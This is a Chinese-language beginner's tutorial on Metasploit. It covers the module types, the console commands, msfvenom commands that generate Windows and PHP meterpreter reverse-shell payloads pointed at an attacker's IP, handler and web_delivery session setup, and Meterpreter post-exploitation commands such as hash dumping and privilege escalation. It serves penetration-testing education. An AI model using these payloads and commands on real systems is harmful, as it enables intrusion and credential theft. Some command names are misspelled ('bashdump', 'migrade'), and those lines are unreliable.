Metasploit基础知识
2018-09-19 本文已影响15人
shadowflow
1 Metasploit介绍
Metasploit是一个漏洞利用框架,简称msf。默认情况kali直接封装msf工具
msf一般会有四种对外结构:
- msfconsole
- msfcli
- msfgui
- msfweb
2 模块
exploit
利用程序,针对漏洞,权限进行利用,是主要使用的模块
payload
用于在目标系统中运行任意命令或者执行特定代码,主要用于shell获取
auxiliary
该模块包含了扫描,嗅探,指纹识别,网络协议欺骗等相关功能模块
encoder
该模块主要针对exploit模块进行代码免杀,以逃过杀毒软件,防火墙,ids等安全防护机制的检验
3 基础命令
- search ms17 ------------------------------------------------------ 查找
- use exploit/multi/handler -------------------------------------- 使用
- info ------------------------------------------------------------------ 信息
- show exploits/payloads/options ------------------------------ 显示可用信息
- set options/payload --------------------------------------------- 给相关对象赋值
- exploit/run --------------------------------------------------------- 执行
- exploit -j ----------------------------------------------------------- 后台运行
- back ----------------------------------------------------------------- 返回上一级
- sessions -i ------------------------------------------------------- 查看当前可用会话
- sessions -K --------------------------------------------------------- 杀死所有活跃会话
4 Msfvenom基础
4.1 生成命令
- 生成exe程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe> shell.exe
- 生成php程序
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw >shell.php
注
参考资料: msf下的各种生成payload命令
https://www.cnblogs.com/backlion/p/6000544.html
5 反弹shell
exploit/multi/handler
- Msfvenom生成程序
- 使用handler执行exp
- 在目标机器运行Msfvenom生成程序
- 返回session
exploit/multi/script/web_delivery
- 使用web_delivery返回脚本并加载exp
- 在目标机器运行脚本
- 返回session
6 Meterpreter基础
基础命令
- getuid -----------获得运行Meterpreter会话的用户名,从而查看当前会话具有的权限
- sysinfo ---------列出受控主机的系统信息
- getprivs --------尽可能多的获取目标主机上的特权
- getsystem -----通过各种攻击向量来提升到系统用户权限
- bashdump------导出目标主机的口令hash值
- screenshot-----对目标主机的屏幕进行截图
- background----将当前Meterpreter shell 转为后台执行
- quit---------------关闭当前Meterpreter会话,返回MSF终端
- ps ------------------------------------------显示所有运行进程以及关联的用户账户
- migrade PID ----------------------------迁移到一个指定进程的PID
- execute -f cmd.exe -i -----------------执行cmd.exe命令进行交互
- shell ---------------------------------------以所有可用令牌来运行一个交互shell